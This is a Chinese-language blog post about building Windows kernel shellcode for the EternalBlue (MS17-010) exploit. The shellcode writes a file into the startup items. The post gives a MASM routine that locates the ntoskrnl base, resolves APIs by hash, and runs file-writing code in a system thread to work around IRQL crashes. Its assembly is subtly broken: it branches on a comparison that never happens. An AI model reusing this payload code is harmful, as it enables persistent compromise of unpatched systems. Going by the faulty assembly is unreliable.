編寫Windows Kernel Shellcode

網上流傳的永恆之藍漏洞利用代碼中,關於內核shellcode部分,大部分都是利用APC注入的。

最近有個想法,直接利用內核代碼執行權限,來寫文件,於是就抄起了VS,開始寫shellcode,開始以爲和R3下面寫shellcode一樣簡單…

新建個驅動的項目,按照下面修改項目的屬性,然後動態獲取API,再調API完成自己的功能。

// C/C++
// |-常規
// |  |-調試信息格式:程序數據庫(/Zi)
// |  *-SDL檢查:否(/sdl-)
// |-優化
// |  |-優化:使大小最小化(/01)
// |  |-內聯函數擴展:已禁用(/0b0)
// |  |-啓用內部函數:否
// |  |-優選大小或者速度:代碼大小優先(/0s)
// |  *-全程序優化:是(/GL)
// |-代碼生成
// |  |-基本運行時檢查:默認值
// |  |-安全檢查:禁用安全檢查(/GS-)
// |  *-啓用函數級連接:是(-Gy)
// 連接器
//  |-常規
//  |  *-啓用增量連接:否(/INCREMENTAL:NO)
//  |-調試
//  |  |-生成映射文件:是(/MAP)
//  |  *-映射文件名:mapfile
//  *-  優化
//     |-引用:是(/OPT:REF)
//     |-啓用COMDAT摺疊:是(/OPT:ICF)
//     *-函數順序:FunctionOrder.txt
// -[注:FunctionOrder.txt控制編譯器按照指定順序將COMDAT放到映像文件中]

項目屬性配置好以後,開始寫shellcode,計算要使用的內核API的名稱hash,爲了方便計算,我寫了一個簡單的MFC程序

在這裏插入圖片描述

問題一:獲取windows7 x64 nt基址

剛開始遇到的第一個問題就是如何獲取nt的基址,在內核中所有api都是從ntoskrnl.exe中導出的。

參考這個git項目 https://github.com/worawit/MS17-010.git,裏面有內核shellcode的asm文件,文件中有獲取nt基址的部分。

但是這個asm文件是NASM的語法,導致我用vs直接編譯不了,還需要弄個nasm的編譯環境。

最後我修改爲MASM版本,最終得到的獲取ntoskrnl.exe基址的MASM彙編如下:

.CODE
PUBLIC _getNtBase
_getNtBase PROC
  push rbx
  mov rax,QWORD PTR gs:[038h]
  mov rax,QWORD PTR[rax+04h]
  shr rax,0Ch
  shl rax,0Ch
_find_nt_walk_page:
  mov rbx,QWORD PTR[rax]
  mov bx,05A4Dh
  je _found
  sub rax,1000h
  jmp _find_nt_walk_page
_found:
  pop rbx
  ret
_getNtBase ENDP
END

https://paper.seebug.org/papers/scz/windows/201704171416.txt 這個鏈接中也有對永恆之藍獲取nt基址的分析。

把以上代碼保存爲demo.asm,添加到創建的vs驅動項目中,右鍵該文件,選擇屬性,修改項類型爲: Mircrosoft Macro Assembler
在這裏插入圖片描述

這段彙編代碼,導出了一個名爲_getNtBase的函數,在vs項目中使用這個函數,需要用extern聲明一下才能使用

extern HMODULE _getNtBase();

問題二:VS編譯64位平臺彙編文件

然後開始編譯我的vs項目,在編譯時,又遇到第二個問題: vs項目中的指定函數編譯順序的FunctionOrder.txt,對這個asm中的函數不起作用。

  Address         Publics by Value              Rva+Base               Lib:Object


0000:00000000       ___safe_se_handler_table   0000000000000000     <absolute>
0000:00000000       __guard_fids_count         0000000000000000     <absolute>
0000:00000000       __guard_flags              0000000000000000     <absolute>
0000:00000000       ___safe_se_handler_count   0000000000000000     <absolute>
0000:00000000       __guard_fids_table         0000000000000000     <absolute>
0001:00000000       Entry                      0000000140001000 f   main.obj
0001:00000048       EntryPoint                 0000000140001048 f   main.obj
0001:00000354       Hash_CmpString             0000000140001354 f   main.obj
0001:00000378       GetFunAddrByHash           0000000140001378 f   main.obj
0001:00000420       Unload                     0000000140001420 f   main.obj
0001:00000430       DriverEntry                0000000140001430 f   main.obj
0001:00000470       getNtBase                  0000000140001470 f   demo.obj
0001:0000049a       __C_specific_handler       000000014000149a f   ntoskrnl:ntoskrnl.exe

無論我怎麼調整順序,這個函數用於排在main.obj中所有函數後面,這意味着,我在提取shellcode時,必須把一些main.obj中無用的函數也提取上。

最後我的解決辦法也很粗暴,先用masm編譯這個demo.asm, 拿到二進制機器碼,再拼後面直接拼接我的shellcode…

這個demo.asm獲取nt基址的代碼執行完,結果最終放在rax中。

問題三:IRQL級別

IRQL級別問題,這個也是卡了我時間最久的,我的shellcode思路如下:

1.獲取需要的api
2.初始化需要的字符串
3.調用IoCreateFile
4.ZwWriteFile
5.ZwClose

以上思路用VS寫,直接編譯成驅動後,安裝並運行,測試功能ok!

然後我用IDA提取shellcode,使用windbg強制改RIP,跳轉到我shellcode中執行。 參考一位同事寫的一篇筆記《內核調試shellcode》https://www.cnblogs.com/goabout2/p/7875372.html

強改RIP後,shellcode前面部分執行ok,但是執行IoCreateFile這個函數的時候,就藍屏。 一直中斷到內核函數內部。

在這裏插入圖片描述
上面windbg斷下後,看起來是rax取到了錯誤的值導致的,甚至還分析了wrk中IopQueueThreadIrp、IopParseDevice這兩個函數…

經過分析,排除是參數的問題,因爲前面我寫完shellcode,直接編譯成驅動文件,安裝執行,功能都ok的。

懷疑是IRQL級的問題,使用!irql命令可以查詢處理器的IRQL級別,漏洞觸發時的IRQL級別爲2 = DISPATCH_LEVEL

而我shellcode中使用的IoCreateFile這個函數所需的IRQL級別爲PASSIVE_LEVEL。

爲了測試,是不是IRQL造成的,我嘗試強制在shellcode調用IoCreateFile前面,添加一個降級的代碼,如下所示:

   // 獲取當前IRQL級別
   KIRQL CurrentIRQL = My_KeGetCurrentIrql();
   // 修改當前IRQL級別爲PASSIVE
   if (CurrentIRQL > PASSIVE_LEVEL)
   {
       My_KeLowerIrql(PASSIVE_LEVEL);
   }
   My_KeGetCurrentIrql();

再次調試分析,並查詢降級後的IRQL級別,確認爲LOW_LEVEL了,也就是PASSIVE級別。

在這裏插入圖片描述

無奈,運行到IoCreateFile,還是藍屏了…

分析藍屏信息,結果還是說我IRQL級別爲2,說明我那個修改不生效!!

在這裏插入圖片描述

不能主動降IRQL級別,除非這個級別是手動提升的。否則就會導致

經過參考一些資料,如何在DISPATCH_LEVEL運行PASSIVE_LEVEL的代碼:

經過一番查找資料,大家都是推薦創建一個內核線程來做的,於是我就將shellcode最開始的代碼改成了創建內核線程

VOID Entry()
{
    HMODULE hKeyModule = getNtBase();
    typedef NTSTATUS(*PtrPsCreateSystemThread)(
        _Out_      PHANDLE ThreadHandle,
        _In_       ULONG DesiredAccess,
        _In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,
        _In_opt_   HANDLE ProcessHandle,
        _Out_opt_  PCLIENT_ID ClientId,
        _In_       PKSTART_ROUTINE StartRoutine,
        _In_opt_   PVOID StartContext
        );
    PtrPsCreateSystemThread My_PsCreateSystemThread =  (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
    HANDLE hThread;
    My_PsCreateSystemThread(&hThread, 0, NULL,  NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint,  hKeyModule);
}

在EntryPoint函數中執行我IoCreatefile的一些操作!! 終於這一次不藍屏了,文件成功被寫入了啓動項!!!

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章